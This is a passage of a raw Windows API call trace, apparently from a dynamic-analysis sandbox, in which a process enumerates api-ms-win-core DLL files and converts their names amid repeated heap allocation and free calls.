Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.749] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0241.749] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0xb3c1a8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0241.749] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.749] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.749] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.749] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.749] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.749] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0241.749] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.749] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0241.749] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xb3c310, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0241.749] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.749] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.749] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.749] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.749] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.749] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.749] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.749] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0241.749] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xb3c1a8, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0241.749] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.749] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.749] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.749] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.749] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.749] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.749] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.749] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.749] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0241.750] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xb3c310, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0241.750] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.750] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.750] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.750] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.750] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.750] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.750] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.750] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0241.750] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0xb3c1a8, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0241.750] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.750] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.750] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.750] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.750] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.750] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.750] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.750] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0241.750] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0xb3c310, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0241.750] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.750] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.750] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.750] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.750] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.750] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.750] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.750] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0241.750] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xb3c1a8, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0241.750] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.750] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.750] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.751] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.751] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.751] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.751] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.751] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0241.751] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0xb3c310, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0241.751] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.751] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.751] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.751] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.751] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.751] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0241.751] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.751] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0241.751] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0xb3c1a8, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0241.751] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.751] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.751] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.751] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.751] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.751] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.751] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.751] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0241.751] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xb3c310, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0241.751] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.751] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.751] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.751] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.751] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.751] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.752] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.752] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0241.752] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xb3c1a8, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0241.752] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.752] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.752] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.752] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.752] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.752] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.752] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.752] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0241.752] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xb3c310, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0241.752] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.752] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.752] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.752] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.752] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.752] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.752] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.752] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0241.752] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xb3c1a8, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0241.752] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.752] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.752] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.752] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.752] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.752] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, 